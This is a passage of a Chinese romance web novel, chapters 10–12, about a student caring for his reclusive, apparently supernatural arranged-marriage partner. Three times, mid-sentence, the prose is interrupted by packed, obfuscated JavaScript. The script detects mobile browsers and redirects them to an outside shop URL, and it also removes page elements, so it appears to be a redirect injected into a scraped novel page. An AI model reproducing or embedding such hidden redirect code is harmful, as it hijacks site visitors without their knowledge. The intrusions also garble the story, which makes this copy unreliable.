水玉岫转过头来。 新衣服洗晒过后,已经换上了,很合身,现在不会再出现睡觉时睡着睡着半个肩膀露出来的情况。 睡衣的图案是牧晋修特意挑的,印满长耳朵小兔,毛绒绒的——有点私心,但反正水玉岫也没有摇头说不,嘿嘿。 “回来给你带好吃的。”牧晋修试探道:“好吗?如果有事就给我打电话,今天刚教给你的,一会儿再温习一下。” 牧晋修:“明天是有事情去学校,不是故意不带你的,可能会很忙。下次有空,再带你参观一下。里面还蛮大的,虽然我觉得没什么好玩的,但是景观是挺好看的……” 水玉岫没说好与不好,蹬掉了拖鞋,踩上沙发,慢吞吞地团在一块,窝在沙发里,下巴抵在膝盖上,看了让人想揣兜里带走。 哎呦。 牧晋修摸了摸他的脑袋,有点心软了,打算实在不行的话跟学长商量一下,线上进行沟通。 电话恰巧在这个时候响了。 牧晋修下意识摸出手机,一扫备注,脸上的笑慢慢凝住了。 电话不接,铃声便一直响。听到声音,水玉岫探头过来,跟着看向屏幕,有点好奇。 牧晋修轻轻按住他的肩,让他先看电视,自己则去阳台接起了电话。 一接通,牧肃威便问:“晋修,晚饭吃过了吗?我听他们说,水家那位已经被你接走了吧?” 牧晋修:“怎么?你有事找他。” “没事。”牧肃威立马否定了,虽然隔着电话看不见,但还是下意识挤出一个微笑。 他都五十多岁的人了,正是最爱吹胡子瞪眼端架子的年纪,平日里在公司耍什么喜怒不行于色的老总威风,想慈祥都慈祥不起来,此刻笑得有点滑稽。 “玉岫是吗?住得还习惯吗?你阿姨前段时间托人带来大补的药材,他身体不是不太好?你炖汤的时候加点进去,熬久一点,滋补。什么时候在家,我叫人送过去。” 牧肃威惋惜地想,可惜这大少爷是男的,不然要是能让牧晋修努力努力,两人要个孩子,彻彻底底绑在一块,进一步坐实这桩婚姻就好了。 但水家真是好大方,这算这样也一掷千金,根本不懂他们图什么。牧肃威只怕他这个儿子不配合,没能把人照顾好,到时候还得罪了人家。 他说的话牧晋修一句没接,淡淡开口:“还有话要说吗?” “……没有。” 牧肃威打电话之前,便知道两人沟通起来很难,不过如今有求于人,不得不忍气吞声,缓缓道:“晋修啊,你不知道做大人的难处,我懂你心里有怨气,但谁都不容易,你看你现在不也……” 牧晋修打断他:“我有话要说。” 牧肃威:“什么?” 牧晋修想了想:“滚。” 他挂断了电话,随手将手机一丢,溜回沙发。 大厅的声音停了,偏头一看,水玉岫居然还把电视暂停了,等他回来。 “……” 牧晋修大为感动,虽然说了晚饭过后要少吃零食,但还是破例给水玉岫开了一个水果罐头和一包薯片。 两人坐在沙发上,慢慢把节目看完了。 10.牵挂 临睡前,又把今天学习的内容复习一遍。两人一人一张被子,泾渭分明,很健康很和谐的同床共枕。牧晋修靠在床头和他讲话,检查他使用设备的熟练程度。 水玉岫已经对这个小盒子不好奇了,又一次结束面对面通话后,牧晋修忽然想到了什么:“哥,要不你自己睡一个房间吧?” 他是做出了一点考量的,因为水玉岫睡眠浅,如果总是会被吵醒的话,或许一个人休息对身体更好。 然而水玉岫往被子里缩了缩,拒绝了这个提议。 于是牧晋修想了想,没有继续坚持,照常把灯关了:“哥,晚安。” 在他的目光之下,水玉岫慢慢地闭上眼睛。 . 牧晋修前几天睡得并不好,噩梦频发,对自己近期的饮食作息大有怀疑,甚至打算出门顺便去挂个诊。 好在这一夜睡得不错,醒来时神清气爽,没有一点头疼不适。 转头一看,旁边的人依旧熟睡着,水玉岫今天的睡眠质量似乎也很好,没有被吵醒。 下巴埋在被子里,小半张脸陷在软软的枕头上,黑发像流水一样四处倾泻。 牧晋修心想:我睡觉的时候,应该没有压到他的头发吧。 他看了一会儿,忍不住伸手,帮水玉岫把散落的头发捋到耳朵后面。 动作很轻,还很想摸一下耳朵,但是忍住了。 牧晋修轻手轻脚下床,拖鞋踩在地毯上,开门关门都尽力克制,自以为做到万无一失。 然而牧晋修不知道的是,他人刚出去,门一关上,床上的人便睁开了眼睛。 水玉岫视线落在门口,打了个哈欠。因为动作没学到要领,因此看起来有点呆,像是要吃东西。如果被牧晋修看到了,一定会笑。 他听着外面的动静,估算着需要多久才能吃到早餐,然后换了个姿势,翻过身继续安心地窝在被窝里。 . 早上程现要参加一个会议,和牧晋修约好了下午见面。 因此牧晋修可以在家吃过午饭再出门。 星期四,天气晴,气温30摄氏度,宜居家吃冰淇淋。 水玉岫手里举着一个蓝莓味的甜筒,小口小口食用。那个毛绒绒的圆形沙发被搬到窗前,他一边吃冰淇淋,一边眯着眼睛看下面的景色。 牧晋修摸了摸水玉岫的头发,几天练习下来,他对扎头发这件事的熟练度已经大大上升,还有点跃跃欲试,关注了几个博主,想给水玉岫研究新的发型。 当然水玉岫会不会配合就不好说了。 其实他对水玉岫的生活真的一无所知,所有的信息都不过是从旁人的只言片语中了解的,无非是什么大少爷、阴郁、孤僻、鲜少露面等等没营养的标签。 而且根本与事实不符合。 关于他喜欢吃的什么、有什么爱好……这种具体的内容,却一无所获,问赵管家也答不出来,言辞含糊。 但是没关系。 牧晋修心说,慢慢来,这才几天,以后还会有很多了解的时间。 而且水玉岫现在这个样子,愿意和他交流,做出回应,已经很好了。 时间临近,牧晋修换好衣服鞋子,站在玄关,最后和他打招呼:“哥,我走啦。” 他比了一个电话的手势,贴近耳朵,提醒人:“记得我说过的话吧。” 千叮咛万嘱咐,仿佛不是去一趟学校,而是要出大远门。 与他相反,水玉岫把甜筒上的冰淇淋一点点舔完了,开始吃脆筒,表情很淡定。 牧晋修一笑,轻轻把门合上了。 然后一进电梯,就开始发消息:哥,我下楼了哦。 他给水玉岫的备注是一个小猫emoji,两只耳朵竖起,像是在等人来rua。 [Mu]:现在到门口了。 [Mu]:太阳好大,你还是别晒太阳了,等下中暑。 (Mu拍了拍猫) [Mu]:还有,记得喝水! 聊天框静悄悄的,毫无回应。 [Mu]:理理我。 [Mu]:哥! [Mu]:(哭哭) [猫]:(微笑) 狂轰滥炸之下,很敷衍地发了一个表情包。 牧晋修扬了扬嘴角,不再打扰,收起手机。 . 到学校后,他按照和学哥学姐的约定,先到图书馆一楼的休息区汇合。 隔着老远,就看到桌子前坐了好几个人,正对着笔电讲话,而张立业居然也在。 牧晋修上前,和大家打了招呼,张立业看见牧晋修,一拍脑袋:“哎呀,怪我,忘记你要来,少点了一杯奶茶。我这杯还没动,给你吧。” 他把杯子推过来。牧晋修笑了笑,没理会,拉开一旁的椅子坐下了:“不用了,多大点事。” 几人聊了一会儿专业内容,就打算去实验室处理数据。 他们先走,牧晋修去了趟卫生间,出来洗手时,张立业忽然也进来了,就站在他旁边,也开水冲手。 牧晋修没打算讲话,张立业过了一会儿才开口:“晋修,周末真的没空吗?” 牧晋修想了想,应该是之前说的那个什么车什么聚餐:“没空。” 张立业:“又不用做实验,你的部分不是已经收尾了吗?到底有什么事啊?” 说了你又不信,都说结婚了。 牧晋修关上水龙头:“没事。” 张立业眯起眼睛看他,过了一会儿又笑了:“你这人挺有意思的。” 牧晋修也笑:“哈哈。” 卫生间里就他们两个人,张立业凑近了一点,闲聊似的,压低声音:“听说之前你身上有案底,真的假的啊?” 牧晋修动作一顿,瞥了他一眼。 虽然努力按耐住情绪,但张立业脸上仍旧有掩饰不住的兴奋,他细细观察对方细微的面部表情,想从中找到一些蛛丝马迹。 怕牧晋修不放心,还保证:“放心,我就问问,不会往外说的。” “……”牧晋修抽了张纸擦手,有点无语:“你不是班委吗?” 张立业:“是啊,怎么了?” 牧晋修:“学校经常让填这个表交那个档案的,你不会看吗?” “不是。”张立业语塞:“你把我当什么人了,我怎么会去私自探究同学们的隐私,这也太不道德了吧。” 好吧,他确实看了,但是牧晋修留的信息很简洁,关于家庭背景什么的更是少之又少。张立业知道他应该是单亲家庭,就没有出现过父亲的名字,而母亲似乎姓陈,这和他知道的小道消息不同。 而且如果真的是普通家庭,怎么会开得起几十万的车?平日里的穿着也不是什么便宜货,上次听人说,牧晋修似乎住在江彦台附近的小区。 那里寸土寸金,就算是租房,也是一般学生承担不起的。 牧晋修似乎觉得他这句话特别有意思,所以提了提嘴角,笑了一下。 张立业最讨厌的就是他这种表情,立刻一股无名火从胸腔窜起。草,死装,以为自己是什么偶像剧男主角吗? 他磨了磨后槽牙,面上却丝毫不显,好像很贴心似的:“没事啊,不方便说就算了。毕竟这种事情,说出去对你的影响也不好。” “可以说啊。”牧晋修好整以暇地看着他:“我又没说不能。” 这么爽快,张立业反而一怔:“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631145|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 牧晋修和他对视片刻,忽然往前走了一步。 “知道这件事的人都死了。” 他的神情冷了下来,不复之前开朗和气的面容。语气阴冷,眉头微锁,眼睛牢牢地盯着他,又跨了一步:“……你想知道吗?” 天然的身高优势压人一头,张立业居然真的感受到后背开始冒冷汗,浑身寒毛竖起,下意识往后退一步,第六感在拼命为他发出危险预警。 张立业结巴:“我、我……” 草草草,这人不会突然从哪里摸出把刀出来吧! 然而下一秒,牧晋修又忽然恢复了平日里的表情。 见对方这副模样,他嗤笑一声,随后撞开张立业的肩膀:“麻烦让让。” 什么案底,明明一直是遵纪守法好公民好吗。 牧晋修耸耸肩,感觉有点晦气,很快从门口离开了。 “……” 张立业愣愣的,半天没回过神来,直到下一个进来洗手间的人奇怪地看了他一眼,他才反应过来,匆匆跨步走出,心里暗骂一句:草! 这个牧晋修…… 他咬了咬牙。 . 终于把事情忙完,更新了数据,牧晋修和学哥学姐道别,从实验室里出来,口干舌燥,太阳已经西斜了。 花费的时间比预计的要多一些,但好在家里吃的喝的都有,不用担心把人饿着。 他摸出手机看了一眼,水玉岫似乎嫌他烦,没有再回复了。 也没有电话,那应该就是没有事情吧? 牧晋修想了想,买了瓶水,站在自动贩卖机旁边低头打字:哥,我要回去了,给你带肯德基。你还要吃上次的千层蛋糕吗? 手机一震,水玉岫这回倒是回了,不过只发来一个表情包:是一只呆呆的小兔。 兔子长长的耳朵垂落,牧晋修忍不住一笑,在搜索框里翻找一通,回了一个抚摸小兔jpg。 他收起手机,脑子里浮现出五个震耳欲聋的大字: 疯狂星期四! 吃肯德基! 牧晋修快马加鞭,火速买完东西,生怕水玉岫等急了,没有坐地铁,选择打车回去。 唉,一个人住和两个人住是不一样的,知道有人在等你回家,心里就是会很牵挂的。 在他预想中,水玉岫可能在家午睡,可能在看电视,也可能在吃零食。 牧晋修动作迅速,进小区上楼,站在门前,一手提着袋子,一手输入密码。 “滴”的一声,门板打开了。 然而推开门后,大厅很安静,光线也格外黯淡。仅有窗外的晚霞深深浅浅地透进来,照亮沙发上窝着的一个人影,还有他手中屏幕亮起的手机。 “怎么不开灯……” 牧晋修下意识伸手摸向墙壁上的开关,“咔哒”一声响,大厅依旧一片沉默,一片昏暗。 牧晋修:“……” 牧晋修:“停电了吗?” 小区业主群里并没有相关通知,上来时看别的楼层灯光如常,应该只是家里电路跳匝了。 他心里琢磨推断着,又往前走了几步,试探地发出声音:“哥。” 沙发上的人直到这个时候才起身,慢吞吞地挪过来,在他面前站定,好像很委屈似的。 吸吸鼻子,还偷瞄了一眼牧晋修手里的东西。 味道香香的,应该会好吃。 不知道什么时候没电的。空调也停止工作,冷气没有中午那样充沛。 牧晋修越想越觉得糟糕,没注意到他的小眼神,把肯德基随手放在一旁的置物架上,先给了水玉岫一个安慰的抱抱,轻声哄他:“没事,哥,我回来了。别怕。” 11.夜晚 夕阳垂落瓷砖,两个人静静抱了一会儿,牧晋修顺顺水玉岫的长发,拍了拍他的后背:“怎么不给我打电话?” 语气平缓,没有质问的意思,但难免有些失落。 他还是不太信任我,明明都说得好好的,结果遇到事情还是不愿意主动讲。 水玉岫被抱得很紧,一双手臂牢牢地横在他腰上,侧脸贴着男大学生结实的胸膛。 他听见牧晋修的问话,转了转眼珠子。 下午,牧晋修刚出门不久,他便把雪糕吃完了。 虽然牧晋修有时候也会去书房待着,但他一个人在家,似乎还是会有些不同,感觉周围静了下来,没有人时不时凑过来,喊他,又捏他的脸,拿点好吃的。 电视开着,水玉岫面无表情地坐在沙发上喝果汁吃水果,牧晋修让他记得喝水,他也喝了,很给面子。 但是电视看了一会儿,又不感兴趣了,反正光看着也吃不到。 有点无聊,他便一个人把所有房间都逛了一遍,这里摸摸那里碰碰,还去床上躺了一会儿。 看着天花板上的灯时,水玉岫忽然有点好奇。 人类的夜晚是明亮的,广阔大地被灯火层层点缀,仿佛从未睡去。 人小小的脑子里居然装着那么多奇思妙想,能做出好吃的,能盖起房子,能变出电视……究竟是怎么想出来的呢。 他从床上起来,回忆着牧晋修经常做的动作,伸出指尖,按动墙壁上的开关。 天花板上的吊灯因此一亮一灭,闪闪烁烁。 好玩。 水玉岫的视线又落到了旁边的插座上,对着那黑漆漆的几个孔看了一会儿,没研究出什么所以然来。于是手指悬空在其上,一缕影子似的东西从指尖流出,往里探去。 很快,“呲啦”两声,插座里冒出一个小火花。闪了一下,便毫无动静。 水玉岫:“?” 算了,还是不玩了。 他收回手,继续到处溜达。一开始还没有察觉,毕竟夏天昼长夜短,天黑得晚,四周还是很亮堂的。 但很快水玉岫就发现不对了。 电视开不起来,不管怎么按遥控器也无法将它唤醒;打开冰箱,冰箱也不会亮起内置的照明灯。房子只能依靠外界的自然光照明。 空调不再工作后,冷气停止释放,温度同样开始变化。 水玉岫:“……” 发生了什么? 他转动脑袋,四处看看,忽然明白了什么,把屋里所有的电灯开关都试了一遍,确认一个事实。 ——一不小心把人类的房子弄坏了。 怎么会这样,和它的主人一样脆弱,碰一下就坏掉了。 水玉岫垂下手臂,若无其事地离开,过了一会儿又回来。对着插座叹了一口气。 牧晋修不知道什么时候回来,水玉岫看着手机里的信息,不想回。 摆烂了。 要不直接走掉算了,换个人类的家里住。 但是其他人类不一定能这样让他称心如意。 而牧晋修这时又发消息过来,跟他说马上就回家了,还没有忘记给他带东西回来。 水玉岫坐在沙发上想:肯德基是什么? 好吃吗? 又不想走了,觉得牧晋修应该也不会和他生气。 他的猜测是正确的。此刻,牧晋修面对不会亮的房子,非但没有皱一下眉,看起来还很懊悔,又是抱抱又是摸摸。 好像没发现是他弄坏的。 第一次把人留在家里,就出了这种事情,牧晋修心有余悸,还好他天黑之前回来了,要是临时有什么急事,那么水玉岫就要一个人在黑漆漆的屋子里面,不知道待多久。 今天的水玉岫和平常不一样,似乎没有那么冷冰冰的,融化了一点点,一声不吭,贴着要抱抱。 牧晋修静静地抱了一会儿,然后道:“哥,我应该早点回来的。” 他以为水玉岫是想起什么不好的事情了,因此没有继续追问其他。 两人抱了好一会儿才松开,牧晋修牵着他的手,检查了一下总闸,果然是跳闸了,开关掰上去之后,房间重新接入电流,灯亮了起来。 水玉岫微微睁大眼睛,看了看灯,又看了看牧晋修。 这样就修好了吗? 中央空调重新开始工作,牧晋修这才把炸鸡放在桌子上,宣告晚餐:“晚上吃这个。好不好?” 千层蛋糕还是买回来了,切成小块,叉子放在一旁。 水玉岫咬了一口,口感绵密,今天的蛋糕是芒果味的。 他在认真吃东西,牧晋修帮他把头发扎起来,想了想,又去冰箱拿了一罐汽水出来,倒了一小杯,放在水玉岫面前。 炸鸡配可乐,非常完美的。 黑色的水,没喝过。水玉岫试探地尝了一小口,原以为是和果汁一样的口感,但一入口便觉得不对劲。 ……很奇怪的感觉,像有什么东西在舌头上跳来跳去,嘴巴里吵吵的。 水玉岫皱起眉,但是舔舔嘴唇,又觉得甜甜的,好像可以接受。 牧晋修正在拆包装盒,抬头一瞧,便看见了水玉岫喝一口可乐皱一下眉、一口喝完又凑上前还想喝的画面,差点憋不住笑。 水玉岫一看过来,他便强忍住:“没事,哥,嘿嘿。我就是忽然想起来可爱的事情。” 炸鸡表皮酥脆,裹着一层金黄的面包糠,里面则是多汁鲜嫩的肉块。 牧晋修带上一次性手套,撕开一小块递到人嘴边,给他试试味道:“喜欢吗?” 水玉岫又要吃小蛋糕又要喝可乐,很忙,抽空张开嘴嚼了嚼,回味了一下,感觉不错,看上去挺满意。 牧晋修便帮他也戴上手套:“慢一点,小心烫。” 两人坐在大厅吃蛋挞、炸鸡、黄金鸡块和小蛋糕,电视开着做背景音,灯光明亮,家里又恢复平时里热热闹闹的模样。 吃到一半,电话忽然响了,牧晋修一看,来电显示赵管家。 牧晋修有点意外,想了想,还是把手套摘了,走到一旁接起电话。 这回赵管家倒是很快开口,只是话音里依旧带着试探:“牧先生?” 牧晋修心想他怎么总是挑吃饭的时候打电话来,听到这句又叹了一口气:“是的,没打错,我是牧晋修。一定要每次都问一遍吗?” “我看刚才给您发的消息没有回。” 赵管家讪笑了一下,这次倒是很快切入话题:“那个,您上次要的证件,已经办好了,您看您现在有时间吗?方便下楼来拿吗?我就在楼下等您。” 牧晋修有些意外:“这么快。” 赵管家:“呃……哈哈,工作效率还是很重要的。您应该就在楼上吧?” 牧晋修想了想,觉得他们手眼通天,或许有什么加急方法也不一定:“可以啊,我就在家。” 他看了一眼一边皱着眉头,一边喝可乐的水玉岫,嘴角又扬了起来:“你直接送上来吧,我走不开。楼层密码发给你。” 赵管家:“啊?” 牧晋修:“不方便吗?” 水玉岫就在家,也不来看望一眼,一点都不挂念。 赵管家:“……没有没有。” 钱难赚屎难吃,赵管家心想牧晋修既然还活着,他应该也不会有什么事吧……咬了咬牙:“好吧。” 语气中的不情愿被牧晋修捕捉到,后者的神色变冷了些。 很快,门铃响起,水玉岫往门口看了一眼。 牧晋修轻轻捏了捏他鼓起的脸颊,让他继续吃,然后起身去开门。 赵管家依旧穿着一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636099|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西装,看起来不像管家,像楼盘里的销售,脸上照常挂着标准化的笑。 他看见牧晋修,先问声好,然后递过来一个文件夹。 牧晋修接过打开,大概检查一遍,东西装得很全,身份证等等该有的都有,甚至还有——一个小红本。 牧晋修盯着看了好一会儿才确定:“结婚证?” 赵管家也觉得有些那个,但毕竟拿钱办事,还是硬着头皮开口:“是的,您不是说要证件吗,结婚证怎么就不算证件了,哈哈,新婚快乐啊。” 牧晋修不置可否,翻开一看,盖章签名,该有的都有,甚至还P了张两人的合照上去,也不知道是谁想出做这个东西的:“……” 空气像是凝固住了。 婚礼没有,婚宴没有,戒指没有,唯有人孤零零地被他带回来了,现在又送来结婚证算怎么一回事。 看得出来是很想把这个烫手山芋扔出来了。 赵管家观察他的表情:“东西送到了,您还有什么需求吗?” 他一边讲话一边用余光偷瞄,看看大少爷在哪里,打探情况,好回去交差。 面前这个人实在是太高了,把视线挡得严严实实。赵管家不得不装作不经意地咳了咳,找了个角度,踮起脚尖从他肩头往大厅里看。 运气很好,马上就瞧见一个人影,一头黑发扎起,坐在茶几前的毛绒垫子上,安安静静地—— 吃肯德基。 赵管家一下子呆住了:“?” 他揉了揉眼睛,重新确认,水玉岫把嘴里的东西咽下去了,然后偏头咬住吸管,喝了一口可乐。察觉到他的视线,面无表情地看了过来。 赵管家:“……” 牧晋修把东西收好,注意到他这副样子,挑了挑眉,让开了一点:“要不要进来坐坐。” “不不不。” 赵管家回过神,火速摆手拒绝,急得舌头都要打结了:“呃、我还有事呢,您继、继续用餐吧。” 他马上从门口离开,两条腿倒腾,一眨眼就出现在电梯前,连续按了两下下楼键。 牧晋修看着他落荒而逃的背影,没说什么,把门关上了。 他把身份证拿出来,再检查了一遍,照片不知道为什么有些模糊,像水洗过似的,面容看不分明。上面写着水玉岫的名字、户籍地、出生日期…… 这么算,他比牧晋修大三岁。 生日是在秋天,牧晋修琢磨着,那还有几个月呢,不着急。 耽误的时间有点长了,等他拿着东西回来时,水玉岫已经把可乐喝了四分之一,目光落在他手中的文件夹上。 牧晋修便把身份证什么的递给他,最后手里剩下两本结婚证,牧晋修咳了一声,然后把它们放在一旁的桌子上,随手指了指:“这东西做不得数,不用管它们,别放在心上。” 他停了一会儿:“你是自由的。” 牧晋修说着,想起了什么,去书房又翻出来一张卡。 确认过银行卡号后,他把卡放在水玉岫手心:“里面有一大笔钱,可以买很多好吃的,你要收好。” 卡里有六百万,合同上明码标价的三年,是联姻的交易筹码之一。 这还只是到牧晋修手里的钱,他爹那边不知道还要捞多少好处。 牧晋修其实觉得不值得,肯花这么一大笔钱,明明可以重金聘请各种营养师来为水玉岫调理身体,有名医开药,根本不需要依靠什么虚无缥缈的玄学八字。 水玉岫合拢手心,把薄薄的卡片拿起来研究了一下,一会儿是通行卡,一会儿是银行卡,没办法一下子把它和肯德基划等号。 牧晋修看着他的表情,笑了一下:“哥,你现在是家里最有钱的人了。” 他一顿,碰了碰水玉岫的手背,声音轻了些:“有没有变得开心一点?” 12.孩子 六百万,足够一个普通人安稳度过余生的数额,换算成现金也有一百多斤,牧晋修略微估算了一下:“要是谁对你不好,就用钱砸他。” 钞票砸头,不知道痛不痛,不过这听起来怎么那么像奖励…… 又获得一张卡片,水玉岫对人类的钱财并没有清晰的概念,金银珠宝见多了,对他来说也不过是石子珠子,不清楚这么多钱究竟能换得到什么。 他觉得牧晋修说得不对,没有哪个人敢这么对他。但牧晋修让他好好收着,好像很重要,他便用指尖点点,示意牧晋修将卡片装进他的睡衣口袋里。 牧晋修放好后,目光又不由自主地移到了桌角的结婚证上。 不知道他们从哪里找的美工,合照虽然是P的,但其实……P得蛮好。牧晋修朝镜头呲着大牙,眼角眉梢都是笑,青春朝气,应该是从某次社团合照里抠下来的。 与之相比,水玉岫的笑就含蓄很多,只微微扬起嘴角,聊胜于无。 但好歹也是笑了,和平时冷冰冰的样子一点都不同,看起来好温柔。 牧晋修看了又看,照片上的水玉岫仿佛也在冲他笑,笑得他心软软的。 瞧了好一会儿,才把小本子合起来,又看向正在小口小口吃蛋挞的人,有点惆怅:“哥,我还没有见过你笑呢。” 水玉岫忙着吃饭,匆匆看他一眼,歪了歪脑袋。 牧晋修撑着下巴,扫一眼满桌子吃的:“有没有一种食物,是吃到了以后会让你微笑的?” “……” 水玉岫把头转回去,吸了一口可乐。 牧晋修笑了笑,也吃了个蛋挞。余光一瞥,忽然发现玻璃托盘里还剩下零零散散几颗荔枝没动。 是吃腻了吗? 这两天的荔枝食用量确实比其他水果多,不过他怕水玉岫一个人在家吃多了上火,出门前笼统也就洗了两三把。 牧晋修随手拿起一颗,捻开外壳就要往嘴里送,手臂忽然被人碰了一下。 转头一看,水玉岫在低头认真嚼嚼嚼,很严肃,好像没有注意到他。 应该只是不小心的。 视线转回来时,牧晋修低头一看,小小的虫子趴在荔枝黑色的蒂里,离他只有二十厘米,正一动一动,和人打招呼。 这也是无法避免的事,牧晋修没太在意,随手扔了,又剥开一颗,结果还是有虫。 “……” 他愣了一下,不信邪,又把剩下两颗剥开了。不出意外,虽然外壳看似完好无损,果形饱满,但打开后会发现里面都生了虫。 是巧合吗? 他看了一眼水玉岫的方向,觉得有些不可思议。 想了好一会儿,认为可能是这批果子质量不那么好,回头要去和老板沟通,换一个品种。 水玉岫饭吃一半就吃累了,停下动作,往旁边一靠,脑袋枕在他肩上,眼睛闭着,好像睡着了。 可乐倒是喝完了,勇于尝试,对新东西接受得很快,值得夸奖。 牧晋修轻轻摸了摸他的脑袋,又戳了戳他的脸颊,好软:“困了吗?” 水玉岫闭着眼睛摇摇头,一动不动。 人类为什么要长这个脖子?这个角落真的好适合用来放他的脑袋。 . 晚饭吃过后,牧晋修接了田皓一个电话。 田皓一接起便说:“她哪里要出差?你胡说八道,郑秀谙最近都会留在霞市忙那个画展。我靠,你真是害我,搞得我好像很在意一样。” 看来是发过消息了。 牧晋修一点都没有不好意思:“哦,那我应该记错了,出差的那个项目可能是前几个月的事情吧。” “……”田皓:“你这人故意的吧?” 牧晋修否认:“真是记错了。骗你干什么?我平时也很忙的。再说了,都是朋友,会注意对方动向不是很正常吗,你不好意思什么呢。” 田皓哼了一声,也不再纠结:“行吧,明天我有空,一起吃个饭?” “可以。” 牧晋修顿了一下,又说:“我能把他一起带过去吗?” 这个“他”指的是谁,不言而喻。 田皓沉默了一会儿:“认真的啊?” “对啊。”牧晋修:“你知道吗?今天我出门,留他一个人在家里,结果好巧不巧停电了,还好我在天黑之前回来了。” 要知道除了社区维修集体断电以外,家里就没停电过,老天能不能对水玉岫好一点啊,怎么坏事总是发生在他身上。 田皓:“………………” 牧晋修补充道:“我打过招呼了,秀谙不介意。” 犹豫片刻,田皓勉强同意了:“行吧,到时候正好让我看看大少爷长什么样。” 在牧晋修口中,水玉岫快要被形容成什么让人见之心碎闻之落泪的小可怜。 虽然田皓坚持认为大少爷在家里必定锦衣玉食穿金戴银过得差不到哪里去,但该说不说,心里确实是有点好奇了。 究竟是什么样的人,才会让牧晋修愿意把生活的一小块让渡出来啊。 出门也要带着,就这么放不下心。 . 电话挂断后,牧晋修打开笔电,发现信箱里有一封新邮件,发信人是Prof.Shui。 是水裴元的邮件,他点开一看。 水裴元今年将近五十岁,嗓音温和,讲话时的腔调像绘本里会魔法的神奇姨姨。她是水家人里少数牧晋修不用查百科就知道的人,目前在加拿大的一所大学教授植物学。 两人联系不多,牧晋修之前还去附近的山上给她采集植物样本。 前不久的联姻事宜,各方劝说无能,他爹没有这么大的面子让他结婚,最后还是如今定居在国外的水裴元给他打来一通远洋电话。 她受人之托打这通电话,似乎也不明白这件事到底是为什么,语气蛮抱歉的,也没劝牧晋修要答应什么,只说如果方便,可以去见一面。 通话结束后,牧晋修想了想,还是松口了。 不过只是答应见面,也没明说答应结婚。 那时牧晋修也没有料到,自己居然会一时冲动,就那样把人带回家了。 几天过去,水裴元大概是知道了这件事,来询问牧晋修联姻事宜,言辞有些愧疚。 牧晋修回复她一切都好,不愿让对方有心理负担,又补充解释道:不是因为别的,是见了之后发现和玉岫很合缘。 水裴元惊讶之余,为他开心,又追问了几句,这才彻底放下心来。 刚好,牧晋修顺便问她:您知道玉岫家里的事情吗?他近几年似乎没怎么出来走动,情况不大好,我有些担心。 但很可惜,严格来说,水裴元并不算水家的直系亲属,她是水家资助领养的学生,自小双亲离世,又因为成绩优异,所以在族谱上添了个名,改姓水。 虽然冠了这个姓氏,但毕竟是外人,水家内部体系和她并没有多大牵扯。 牧晋修有点失望,不过也在意料之内。 结束对话后,他没立刻关上电脑,而是打开Google,在搜索框里输入关键词,对着电脑一通研究。 按照百科显示,如果水玉岫情况属实,那么他应该是水听漾和方广成这对夫妻的孩子。 上面资料显示,水听漾和方广成恋爱多年,结婚很早,但后来方广成意外离世了,水听漾郁郁寡欢,同样鲜少出现在大众面前。她并不参与家族企业,所以很多报道里都找不到她的身影。 有传闻她为情所困,失去丈夫后一蹶不振,不久前已经逝世了。但似乎只是小道消息,并没有官方报道。 虽然百科上没有显示后代的信息,但按照这个时间线,算算水玉岫的年纪,若是那对夫妻结婚不久就有了孩子,似乎也对得上。 那么,这便是一个从未出现在外人眼前的孩子。 牧晋修对着屏幕沉默了一会儿。 半晌,他移开鼠标,合上电脑。 . 水玉岫正在卫生间洗漱,对着镜子来回晃动牙刷,刷了两下,伸手摸了摸自己嘴角的白色泡泡。 第一回刷牙时,水果味的牙膏闻起来太香了,他差点把泡泡吞进去,还好牧晋修阻止得及时。 当然水玉岫事后还是自己偷偷尝了尝,确实口感不好,于是对牧晋修的话更加信服。 牧晋修不让吃的东西,大概率就是不好吃,不用再尝试了。 这个人类很坦诚,不会把好东西偷偷藏着。 面无表情地刷完牙漱口,一抬头,镜子里又冒出来一个身影。 牧晋修靠在卫生间门口,指尖挑起他的发尾,对他一笑:“哥,明天要出去玩吗?去看画展,再去餐厅吃饭,这次不会把你一个人留在家里了。” 水玉岫刷完牙,把毛巾盖在自己的脸上,转过来。 牧晋修很善解人意地伸出手,一边帮他擦脸,一边继续游说:“可以吗?和朋友一起去,他们人都很好,会喜欢你的,见一面吧。” “我很认真的。” 他隔着毛巾捏了捏水玉岫的鼻尖,和人商量:“你需要认识新朋友,我先把我的朋友介绍给你。以后你再给我介绍你的朋友,好吗?” 牧晋修想了想,又补充说:“明天的餐厅有大龙虾吃。” 水玉岫把毛巾从脸上摘下来,这回终于点头了。 这一夜,鉴于下午的停电事故,牧晋修熄灯前特地把壁灯调亮一点,光线微微照亮周围的一小块地方。 他反复调整亮度,确保水玉岫睡觉不会被灯光亮醒,然后才放心地按下开关:“哥,晚安。” 旁边的人缓缓咕蛹了两下。 大龙虾是不是比小龙虾好吃。 . ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 